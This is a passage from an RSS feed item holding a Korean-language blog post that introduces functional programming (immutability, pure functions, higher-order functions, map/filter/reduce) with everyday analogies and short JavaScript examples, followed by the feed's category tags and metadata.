/&gt;2.&amp;nbsp;**불변(Immutable)&amp;nbsp;방식**:&amp;nbsp;기존&amp;nbsp;종이는&amp;nbsp;그대로&amp;nbsp;액자에&amp;nbsp;보관해&amp;nbsp;두고,&amp;nbsp;수정된&amp;nbsp;내용이&amp;nbsp;필요하면&amp;nbsp;**새&amp;nbsp;종이를&amp;nbsp;한&amp;nbsp;장&amp;nbsp;꺼내어&amp;nbsp;깨끗하게&amp;nbsp;새로&amp;nbsp;적습니다.** &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;*&amp;nbsp;*장점*:&amp;nbsp;원본&amp;nbsp;종이는&amp;nbsp;영원히&amp;nbsp;그대로이므로,&amp;nbsp;100명의&amp;nbsp;사람이&amp;nbsp;동시에&amp;nbsp;이&amp;nbsp;종이를&amp;nbsp;읽어도&amp;nbsp;아무런&amp;nbsp;충돌이나&amp;nbsp;사고가&amp;nbsp;발생하지&amp;nbsp;않습니다! &lt;br /&gt;&lt;br /&gt;``` &lt;br /&gt;[&amp;nbsp;기존&amp;nbsp;객체지향/절차지향&amp;nbsp;방식:&amp;nbsp;데이터&amp;nbsp;변조&amp;nbsp;] &lt;br /&gt;User&amp;nbsp;user&amp;nbsp;=&amp;nbsp;new&amp;nbsp;User(&quot;철수&quot;,&amp;nbsp;25); &lt;br /&gt;user.setAge(26);&amp;nbsp;&amp;nbsp;//&amp;nbsp;➔&amp;nbsp;기존&amp;nbsp;user&amp;nbsp;객체의&amp;nbsp;메모리&amp;nbsp;내부를&amp;nbsp;직접&amp;nbsp;고쳐버림&amp;nbsp;(Side-Effect&amp;nbsp;위험!) &lt;br /&gt;&lt;br /&gt;[&amp;nbsp;함수형&amp;nbsp;프로그래밍&amp;nbsp;방식:&amp;nbsp;불변성과&amp;nbsp;새&amp;nbsp;데이터&amp;nbsp;생성&amp;nbsp;] &lt;br /&gt;const&amp;nbsp;user&amp;nbsp;=&amp;nbsp;{&amp;nbsp;name:&amp;nbsp;&quot;철수&quot;,&amp;nbsp;age:&amp;nbsp;25&amp;nbsp;}; &lt;br /&gt;const&amp;nbsp;nextUser&amp;nbsp;=&amp;nbsp;{&amp;nbsp;...user,&amp;nbsp;age:&amp;nbsp;26&amp;nbsp;};&amp;nbsp;//&amp;nbsp;➔&amp;nbsp;원본&amp;nbsp;user는&amp;nbsp;25살로&amp;nbsp;영구&amp;nbsp;보존,&amp;nbsp;26살&amp;nbsp;철수는&amp;nbsp;새&amp;nbsp;객체로&amp;nbsp;탄생! &lt;br /&gt;``` &lt;br /&gt;&lt;br /&gt;이&amp;nbsp;불변성&amp;nbsp;덕분에&amp;nbsp;함수형&amp;nbsp;프로그래밍에서는&amp;nbsp;**스레드&amp;nbsp;동기화&amp;nbsp;락(Lock)을&amp;nbsp;걸&amp;nbsp;필요가&amp;nbsp;없습니다.**&amp;nbsp;데이터를&amp;nbsp;수정하는&amp;nbsp;행위&amp;nbsp;자체가&amp;nbsp;원천&amp;nbsp;봉쇄되어&amp;nbsp;있으니,&amp;nbsp;수천&amp;nbsp;개의&amp;nbsp;CPU&amp;nbsp;코어가&amp;nbsp;동시에&amp;nbsp;데이터를&amp;nbsp;읽어도&amp;nbsp;100%&amp;nbsp;안전한(Thread-Safe)&amp;nbsp;시스템이&amp;nbsp;완성되는&amp;nbsp;것입니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;2.&amp;nbsp;순수&amp;nbsp;함수(Pure&amp;nbsp;Function)&amp;nbsp;-&amp;nbsp;자판기&amp;nbsp;같은&amp;nbsp;믿음직한&amp;nbsp;함수 &lt;br /&gt;&lt;br /&gt;함수형&amp;nbsp;프로그래밍의&amp;nbsp;두&amp;nbsp;번째&amp;nbsp;기둥은&amp;nbsp;**순수&amp;nbsp;함수(Pure&amp;nbsp;Function)**&amp;nbsp;입니다. &lt;br /&gt;&lt;br /&gt;순수&amp;nbsp;함수란&amp;nbsp;수학에서의&amp;nbsp;함수($y&amp;nbsp;=&amp;nbsp;f(x)$)처럼,&amp;nbsp;**오직&amp;nbsp;입력값(Input)에&amp;nbsp;의해서만&amp;nbsp;결과값(Output)이&amp;nbsp;결정되는&amp;nbsp;함수**를&amp;nbsp;말합니다. &lt;br /&gt;&lt;br /&gt;###&amp;nbsp; &amp;nbsp;고장&amp;nbsp;없는&amp;nbsp;음료수&amp;nbsp;자판기&amp;nbsp;vs&amp;nbsp;기분&amp;nbsp;타는&amp;nbsp;카페&amp;nbsp;바리스타 &lt;br /&gt;&lt;br /&gt;*&amp;nbsp;**순수하지&amp;nbsp;않은&amp;nbsp;함수&amp;nbsp;(비순수&amp;nbsp;함수)**: &lt;br /&gt;&amp;nbsp;&amp;nbsp;*&amp;nbsp;카페&amp;nbsp;바리스타에게&amp;nbsp;&quot;아메리카노&amp;nbsp;한&amp;nbsp;잔이요&quot;라고&amp;nbsp;주문했는데,&amp;nbsp;바리스타의&amp;nbsp;오늘&amp;nbsp;기분에&amp;nbsp;따라&amp;nbsp;라떼가&amp;nbsp;나오기도&amp;nbsp;하고,&amp;nbsp;냉장고&amp;nbsp;원두&amp;nbsp;재고에&amp;nbsp;따라&amp;nbsp;가격이&amp;nbsp;3,000원이었다가&amp;nbsp;5,000원이&amp;nbsp;되기도&amp;nbsp;합니다. &lt;br /&gt;&amp;nbsp;&amp;nbsp;*&amp;nbsp;**외부의&amp;nbsp;상태(전역&amp;nbsp;변수,&amp;nbsp;시간,&amp;nbsp;파일&amp;nbsp;등)에&amp;nbsp;영향을&amp;nbsp;받거나,&amp;nbsp;외부의&amp;nbsp;상태를&amp;nbsp;몰래&amp;nbsp;변경(부수&amp;nbsp;효과,&amp;nbsp;Side&amp;nbsp;Effect)합니다.** &lt;br /&gt;*&amp;nbsp;**순수&amp;nbsp;함수**: &lt;br /&gt;&amp;nbsp;&amp;nbsp;*&amp;nbsp;음료수&amp;nbsp;자판기입니다.&amp;nbsp;1,000원짜리&amp;nbsp;지폐를&amp;nbsp;넣고&amp;nbsp;콜라&amp;nbsp;버튼을&amp;nbsp;누르면,&amp;nbsp;어제&amp;nbsp;누르든&amp;nbsp;오늘&amp;nbsp;누르든,&amp;nbsp;비가&amp;nbsp;오든&amp;nbsp;눈이&amp;nbsp;오든&amp;nbsp;**무조건&amp;nbsp;정확히&amp;nbsp;콜라&amp;nbsp;1캔**이&amp;nbsp;나옵니다. &lt;br /&gt;&amp;nbsp;&amp;nbsp;*&amp;nbsp;자판기&amp;nbsp;안에서&amp;nbsp;바깥세상의&amp;nbsp;날씨를&amp;nbsp;바꾸지도&amp;nbsp;않고,&amp;nbsp;외부&amp;nbsp;전역&amp;nbsp;변수를&amp;nbsp;조작하지도&amp;nbsp;않습니다. &lt;br /&gt;&lt;br /&gt;|&amp;nbsp;구분&amp;nbsp;|&amp;nbsp;비순수&amp;nbsp;함수&amp;nbsp;(Impure&amp;nbsp;Function)&amp;nbsp;|&amp;nbsp;순수&amp;nbsp;함수&amp;nbsp;(Pure&amp;nbsp;Function)&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;:---&amp;nbsp;|&amp;nbsp;:---&amp;nbsp;|&amp;nbsp;:---&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;**결과&amp;nbsp;결정&amp;nbsp;요소**&amp;nbsp;|&amp;nbsp;입력값&amp;nbsp;+&amp;nbsp;외부&amp;nbsp;전역변수/시간/네트워크&amp;nbsp;|&amp;nbsp;**오직&amp;nbsp;전달받은&amp;nbsp;매개변수(인자)**&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;**외부&amp;nbsp;영향&amp;nbsp;(부수&amp;nbsp;효과)**&amp;nbsp;|&amp;nbsp;전역&amp;nbsp;변수를&amp;nbsp;수정하거나&amp;nbsp;화면에&amp;nbsp;불쑥&amp;nbsp;출력함&amp;nbsp;|&amp;nbsp;**외부&amp;nbsp;세계에&amp;nbsp;아무런&amp;nbsp;흔적도&amp;nbsp;남기지&amp;nbsp;않음**&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;**테스트&amp;nbsp;용이성**&amp;nbsp;|&amp;nbsp;환경&amp;nbsp;세팅이&amp;nbsp;복잡하여&amp;nbsp;버그&amp;nbsp;잡기&amp;nbsp;극도로&amp;nbsp;어려움&amp;nbsp;|&amp;nbsp;**입력&amp;nbsp;넣고&amp;nbsp;출력만&amp;nbsp;검사하면&amp;nbsp;끝&amp;nbsp;(1초&amp;nbsp;테스트)**&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;**캐싱&amp;nbsp;가능&amp;nbsp;여부**&amp;nbsp;|&amp;nbsp;결과가&amp;nbsp;매번&amp;nbsp;달라져&amp;nbsp;캐싱&amp;nbsp;불가능&amp;nbsp;|&amp;nbsp;**입력값이&amp;nbsp;같으면&amp;nbsp;계산&amp;nbsp;생략하고&amp;nbsp;재사용&amp;nbsp;가능**&amp;nbsp;| &lt;br /&gt;&lt;br /&gt;```javascript &lt;br /&gt;//&amp;nbsp;[비순수&amp;nbsp;함수]&amp;nbsp;외부&amp;nbsp;변수에&amp;nbsp;의존하고,&amp;nbsp;외부&amp;nbsp;변수를&amp;nbsp;바꿈! &lt;br /&gt;let&amp;nbsp;discountRate&amp;nbsp;=&amp;nbsp;0.1; &lt;br /&gt;function&amp;nbsp;calculatePrice(price)&amp;nbsp;{ &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;price&amp;nbsp;*&amp;nbsp;(1&amp;nbsp;-&amp;nbsp;discountRate);&amp;nbsp;//&amp;nbsp;discountRate가&amp;nbsp;밖에서&amp;nbsp;바뀌면&amp;nbsp;결과도&amp;nbsp;춤을&amp;nbsp;춘다! &lt;br /&gt;} &lt;br /&gt;&lt;br /&gt;//&amp;nbsp;[순수&amp;nbsp;함수]&amp;nbsp;오직&amp;nbsp;입력값만으로&amp;nbsp;결과를&amp;nbsp;만든다! &lt;br /&gt;function&amp;nbsp;calculatePricePure(price,&amp;nbsp;rate)&amp;nbsp;{ &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;price&amp;nbsp;*&amp;nbsp;(1&amp;nbsp;-&amp;nbsp;rate);&amp;nbsp;//&amp;nbsp;언제&amp;nbsp;어디서&amp;nbsp;1억&amp;nbsp;번을&amp;nbsp;불러도&amp;nbsp;결과는&amp;nbsp;수학처럼&amp;nbsp;영원히&amp;nbsp;일정하다! &lt;br /&gt;} &lt;br /&gt;``` &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;3.&amp;nbsp;일급&amp;nbsp;객체(First-Class&amp;nbsp;Citizen)와&amp;nbsp;고계&amp;nbsp;함수(Higher-Order&amp;nbsp;Function) &lt;br /&gt;&lt;br /&gt;함수형&amp;nbsp;언어에서&amp;nbsp;함수는&amp;nbsp;특별&amp;nbsp;대우를&amp;nbsp;받는&amp;nbsp;거룩한&amp;nbsp;존재가&amp;nbsp;아니라,&amp;nbsp;숫자나&amp;nbsp;문자열과&amp;nbsp;똑같은&amp;nbsp;**'보통의&amp;nbsp;값(Value)'**으로&amp;nbsp;취급됩니다.&amp;nbsp;이를&amp;nbsp;프로그래밍&amp;nbsp;용어로&amp;nbsp;**&quot;함수가&amp;nbsp;일급&amp;nbsp;시민(First-Class&amp;nbsp;Citizen)이다&quot;**라고&amp;nbsp;부릅니다. &lt;br /&gt;&lt;br /&gt;함수를&amp;nbsp;일반&amp;nbsp;변수처럼&amp;nbsp;다룰&amp;nbsp;수&amp;nbsp;있다는&amp;nbsp;말은&amp;nbsp;엄청난&amp;nbsp;마법을&amp;nbsp;가능하게&amp;nbsp;합니다: &lt;br /&gt;1.&amp;nbsp;변수에&amp;nbsp;함수를&amp;nbsp;담을&amp;nbsp;수&amp;nbsp;있습니다. &lt;br /&gt;2.&amp;nbsp;함수의&amp;nbsp;인자(매개변수)로&amp;nbsp;함수를&amp;nbsp;넘겨줄&amp;nbsp;수&amp;nbsp;있습니다. &lt;br /&gt;3.&amp;nbsp;함수가&amp;nbsp;실행을&amp;nbsp;마치고&amp;nbsp;또&amp;nbsp;다른&amp;nbsp;함수를&amp;nbsp;통째로&amp;nbsp;반환할&amp;nbsp;수&amp;nbsp;있습니다. &lt;br /&gt;&lt;br /&gt;그리고&amp;nbsp;이렇게&amp;nbsp;**함수를&amp;nbsp;인자로&amp;nbsp;받거나&amp;nbsp;함수를&amp;nbsp;반환하는&amp;nbsp;함수**를&amp;nbsp;**고계&amp;nbsp;함수(Higher-Order&amp;nbsp;Function)**&amp;nbsp;라고&amp;nbsp;부릅니다. &lt;br /&gt;&lt;br /&gt;###&amp;nbsp; &amp;nbsp;컨베이어&amp;nbsp;벨트&amp;nbsp;삼총사:&amp;nbsp;map,&amp;nbsp;filter,&amp;nbsp;reduce &lt;br /&gt;&lt;br /&gt;현대&amp;nbsp;개발자들이&amp;nbsp;데이터를&amp;nbsp;가공할&amp;nbsp;때&amp;nbsp;`for`&amp;nbsp;루프문&amp;nbsp;대신&amp;nbsp;입에&amp;nbsp;달고&amp;nbsp;사는&amp;nbsp;삼총사가&amp;nbsp;바로&amp;nbsp;고계&amp;nbsp;함수의&amp;nbsp;대표&amp;nbsp;주자들입니다. &lt;br /&gt;&lt;br /&gt;``` &lt;br /&gt;과일&amp;nbsp;바구니:&amp;nbsp;[&amp;nbsp;풋사과,&amp;nbsp;풋사과,&amp;nbsp;썩은사과,&amp;nbsp;풋사과&amp;nbsp;] &lt;br /&gt;&lt;br /&gt;1.&amp;nbsp;filter(골라내기):&amp;nbsp;썩은&amp;nbsp;사과를&amp;nbsp;걸러내고&amp;nbsp;건강한&amp;nbsp;풋사과만&amp;nbsp;남긴다. &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;➔&amp;nbsp;[&amp;nbsp;풋사과,&amp;nbsp;풋사과,&amp;nbsp;풋사과&amp;nbsp;] &lt;br /&gt;&lt;br /&gt;2.&amp;nbsp;map(변환하기):&amp;nbsp;모든&amp;nbsp;풋사과에&amp;nbsp;마법을&amp;nbsp;걸어&amp;nbsp;빨간&amp;nbsp;사과로&amp;nbsp;바꾼다. &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;➔&amp;nbsp;[&amp;nbsp;빨간사과,&amp;nbsp;빨간사과,&amp;nbsp;빨간사과&amp;nbsp;] &lt;br /&gt;&lt;br /&gt;3.&amp;nbsp;reduce(합치기):&amp;nbsp;빨간&amp;nbsp;사과들을&amp;nbsp;한데&amp;nbsp;모아&amp;nbsp;맛있는&amp;nbsp;사과잼&amp;nbsp;한&amp;nbsp;병으로&amp;nbsp;압축한다. &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;➔&amp;nbsp;[&amp;nbsp; &amp;nbsp;사과잼&amp;nbsp;한&amp;nbsp;병&amp;nbsp;] &lt;br /&gt;``` &lt;br /&gt;&lt;br /&gt;```javascript &lt;br /&gt;const&amp;nbsp;numbers&amp;nbsp;=&amp;nbsp;[1,&amp;nbsp;2,&amp;nbsp;3,&amp;nbsp;4,&amp;nbsp;5,&amp;nbsp;6]; &lt;br /&gt;&lt;br /&gt;//&amp;nbsp;전통적인&amp;nbsp;for&amp;nbsp;루프:&amp;nbsp;인덱스&amp;nbsp;i를&amp;nbsp;늘려가며&amp;nbsp;배열을&amp;nbsp;뒤흔듦&amp;nbsp;(명령형) &lt;br /&gt;let&amp;nbsp;result&amp;nbsp;=&amp;nbsp;[]; &lt;br /&gt;for&amp;nbsp;(let&amp;nbsp;i&amp;nbsp;=&amp;nbsp;0;&amp;nbsp;i&amp;nbsp;&amp;lt;&amp;nbsp;numbers.length;&amp;nbsp;i++)&amp;nbsp;{ &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(numbers[i]&amp;nbsp;%&amp;nbsp;2&amp;nbsp;===&amp;nbsp;0)&amp;nbsp;{ &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;result.push(numbers[i]&amp;nbsp;*&amp;nbsp;10); &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} &lt;br /&gt;} &lt;br /&gt;&lt;br /&gt;//&amp;nbsp;현대적인&amp;nbsp;함수형&amp;nbsp;파이프라인:&amp;nbsp;물&amp;nbsp;흐르듯&amp;nbsp;가공&amp;nbsp;(선언형) &lt;br /&gt;const&amp;nbsp;resultFP&amp;nbsp;=&amp;nbsp;numbers &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;.filter(n&amp;nbsp;=&amp;gt;&amp;nbsp;n&amp;nbsp;%&amp;nbsp;2&amp;nbsp;===&amp;nbsp;0)&amp;nbsp;&amp;nbsp;//&amp;nbsp;짝수만&amp;nbsp;걸러내고&amp;nbsp;[2,&amp;nbsp;4,&amp;nbsp;6] &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;.map(n&amp;nbsp;=&amp;gt;&amp;nbsp;n&amp;nbsp;*&amp;nbsp;10);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;10배씩&amp;nbsp;곱한다&amp;nbsp;[20,&amp;nbsp;40,&amp;nbsp;60] &lt;br /&gt;``` &lt;br /&gt;&lt;br /&gt;`for`&amp;nbsp;루프문을&amp;nbsp;쓰면&amp;nbsp;`i`가&amp;nbsp;0부터&amp;nbsp;몇까지&amp;nbsp;증가하는지&amp;nbsp;세세한&amp;nbsp;루프&amp;nbsp;카운터를&amp;nbsp;개발자가&amp;nbsp;직접&amp;nbsp;관리해야&amp;nbsp;하므로&amp;nbsp;실수하기&amp;nbsp;쉽습니다. &lt;br /&gt;반면&amp;nbsp;함수형&amp;nbsp;체이닝을&amp;nbsp;사용하면&amp;nbsp;**&quot;무엇을&amp;nbsp;원하는지(What&amp;nbsp;to&amp;nbsp;do)&quot;**&amp;nbsp;선언적으로&amp;nbsp;명확하게&amp;nbsp;드러나&amp;nbsp;코드의&amp;nbsp;가독성이&amp;nbsp;극적으로&amp;nbsp;올라갑니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;현대&amp;nbsp;소프트웨어는&amp;nbsp;왜&amp;nbsp;모두&amp;nbsp;함수형으로&amp;nbsp;수렴할까? &lt;br /&gt;&lt;br /&gt;오늘날&amp;nbsp;순수&amp;nbsp;함수형&amp;nbsp;언어(Haskell,&amp;nbsp;Clojure&amp;nbsp;등)만을&amp;nbsp;사용하는&amp;nbsp;개발자는&amp;nbsp;소수일지&amp;nbsp;모르지만,&amp;nbsp;**함수형의&amp;nbsp;사고방식은&amp;nbsp;이미&amp;nbsp;전&amp;nbsp;세계&amp;nbsp;모든&amp;nbsp;프레임워크를&amp;nbsp;정복했습니다.** &lt;br /&gt;&lt;br /&gt;1.&amp;nbsp;**프론트엔드의&amp;nbsp;절대강자&amp;nbsp;리액트(React)**: &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;*&amp;nbsp;리액트의&amp;nbsp;핵심&amp;nbsp;철학은&amp;nbsp;$UI&amp;nbsp;=&amp;nbsp;f(State)$&amp;nbsp;입니다.&amp;nbsp;즉,&amp;nbsp;컴포넌트는&amp;nbsp;입력받은&amp;nbsp;상태(State)를&amp;nbsp;바탕으로&amp;nbsp;화면(UI)을&amp;nbsp;순수하게&amp;nbsp;렌더링하는&amp;nbsp;순수&amp;nbsp;함수여야&amp;nbsp;합니다. &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;*&amp;nbsp;`useState`에서&amp;nbsp;상태를&amp;nbsp;직접&amp;nbsp;변경하지&amp;nbsp;못하고&amp;nbsp;`setState`로&amp;nbsp;새&amp;nbsp;객체를&amp;nbsp;넘겨주어야&amp;nbsp;하는&amp;nbsp;이유도&amp;nbsp;바로&amp;nbsp;**불변성**&amp;nbsp;때문입니다. &lt;br /&gt;2.&amp;nbsp;**백엔드&amp;nbsp;대규모&amp;nbsp;트래픽&amp;nbsp;분산&amp;nbsp;처리**: &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;*&amp;nbsp;카프카(Kafka)나&amp;nbsp;스파크(Spark)를&amp;nbsp;이용한&amp;nbsp;대규모&amp;nbsp;빅데이터&amp;nbsp;파이프라인은&amp;nbsp;수억&amp;nbsp;건의&amp;nbsp;로그를&amp;nbsp;여러&amp;nbsp;대의&amp;nbsp;서버에서&amp;nbsp;동시에&amp;nbsp;가공합니다.&amp;nbsp;불변성과&amp;nbsp;순수&amp;nbsp;함수가&amp;nbsp;아니라면&amp;nbsp;서버&amp;nbsp;간&amp;nbsp;데이터&amp;nbsp;충돌로&amp;nbsp;시스템이&amp;nbsp;1초도&amp;nbsp;버티지&amp;nbsp;못합니다. &lt;br /&gt;3.&amp;nbsp;**자바(Java)와&amp;nbsp;코틀린(Kotlin)의&amp;nbsp;변신**: &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;*&amp;nbsp;전통적인&amp;nbsp;객체지향의&amp;nbsp;대표주자&amp;nbsp;Java조차&amp;nbsp;버전&amp;nbsp;8부터&amp;nbsp;람다(Lambda)와&amp;nbsp;스트림(Stream&amp;nbsp;API)을&amp;nbsp;도입하며&amp;nbsp;함수형의&amp;nbsp;옷을&amp;nbsp;입었습니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;한&amp;nbsp;줄&amp;nbsp;요약&amp;nbsp;및&amp;nbsp;핵심&amp;nbsp;정리 &lt;br /&gt;&lt;br /&gt;*&amp;nbsp;**불변성(Immutability)**:&amp;nbsp;기존&amp;nbsp;데이터를&amp;nbsp;고치지&amp;nbsp;않고&amp;nbsp;새&amp;nbsp;데이터를&amp;nbsp;만들어&amp;nbsp;냄으로써,&amp;nbsp;멀티스레드&amp;nbsp;환경의&amp;nbsp;데이터&amp;nbsp;꼬임&amp;nbsp;버그를&amp;nbsp;원천&amp;nbsp;박멸합니다. &lt;br /&gt;*&amp;nbsp;**순수&amp;nbsp;함수(Pure&amp;nbsp;Function)**:&amp;nbsp;외부&amp;nbsp;상태에&amp;nbsp;휘둘리지&amp;nbsp;않고&amp;nbsp;오직&amp;nbsp;입력에&amp;nbsp;의해서만&amp;nbsp;출력이&amp;nbsp;결정되는&amp;nbsp;자판기&amp;nbsp;같은&amp;nbsp;함수로,&amp;nbsp;테스트와&amp;nbsp;예측이&amp;nbsp;완벽해집니다. &lt;br /&gt;*&amp;nbsp;**선언형&amp;nbsp;파이프라인**:&amp;nbsp;`for`&amp;nbsp;문으로&amp;nbsp;데이터를&amp;nbsp;일일이&amp;nbsp;조작하는&amp;nbsp;대신,&amp;nbsp;`map/filter/reduce`를&amp;nbsp;조립하여&amp;nbsp;무엇을&amp;nbsp;할지&amp;nbsp;명확하고&amp;nbsp;깔끔하게&amp;nbsp;표현합니다. &lt;br /&gt;&lt;br /&gt;객체지향이&amp;nbsp;**거대한&amp;nbsp;시스템의&amp;nbsp;뼈대와&amp;nbsp;역할&amp;nbsp;분담(설계)**을&amp;nbsp;책임진다면,&amp;nbsp;함수형은&amp;nbsp;**뼈대&amp;nbsp;속에서&amp;nbsp;흐르는&amp;nbsp;데이터의&amp;nbsp;안전성과&amp;nbsp;신뢰성(로직)**을&amp;nbsp;책임집니다.&amp;nbsp;두&amp;nbsp;패러다임은&amp;nbsp;대립하는&amp;nbsp;것이&amp;nbsp;아니라,&amp;nbsp;서로의&amp;nbsp;빈틈을&amp;nbsp;채워주며&amp;nbsp;현대&amp;nbsp;고성능&amp;nbsp;소프트웨어를&amp;nbsp;함께&amp;nbsp;지탱하고&amp;nbsp;있습니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;&amp;gt;&amp;nbsp; &amp;nbsp;**다음&amp;nbsp;편&amp;nbsp;예고:&amp;nbsp;[컴퓨터&amp;nbsp;과학&amp;nbsp;핵심&amp;nbsp;기초]**&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;gt;&amp;nbsp;&quot;내&amp;nbsp;컴퓨터&amp;nbsp;RAM은&amp;nbsp;16GB인데,&amp;nbsp;어떻게&amp;nbsp;100GB짜리&amp;nbsp;거대한&amp;nbsp;3D&amp;nbsp;게임이&amp;nbsp;튕기지&amp;nbsp;않고&amp;nbsp;돌아갈까?&quot;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;gt;&amp;nbsp;하드디스크를&amp;nbsp;속여&amp;nbsp;램처럼&amp;nbsp;쓰는&amp;nbsp;운영체제의&amp;nbsp;놀라운&amp;nbsp;속임수,&amp;nbsp;**가상&amp;nbsp;메모리(Virtual&amp;nbsp;Memory)와&amp;nbsp;페이징(Paging)**의&amp;nbsp;마법을&amp;nbsp;파헤칩니다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>컴퓨터 과학 핵심 기초</category>
      <category>fp</category>
      <category>가상메모리</category>
      <category>개발기초</category>
      <category>고계함수</category>
      <category>리액트</category>
      <category>불변성</category>
      <category>순수함수</category>
      <category>코틀린</category>
      <category>프로그래밍패러다임</category>
      <category>함수형프로그래밍</category>
      <author>arthurdaddy</author>
      <guid isPermaLink="true">https://softwin.tistory.com/85</guid>
      <comments>https://softwin.tistory.com/85#entry85comment</comments>
      <pubDate>Wed, 14 Oct 2026 23:26:08 +0900</pubDate>
    </item>
  </channel>
</rss>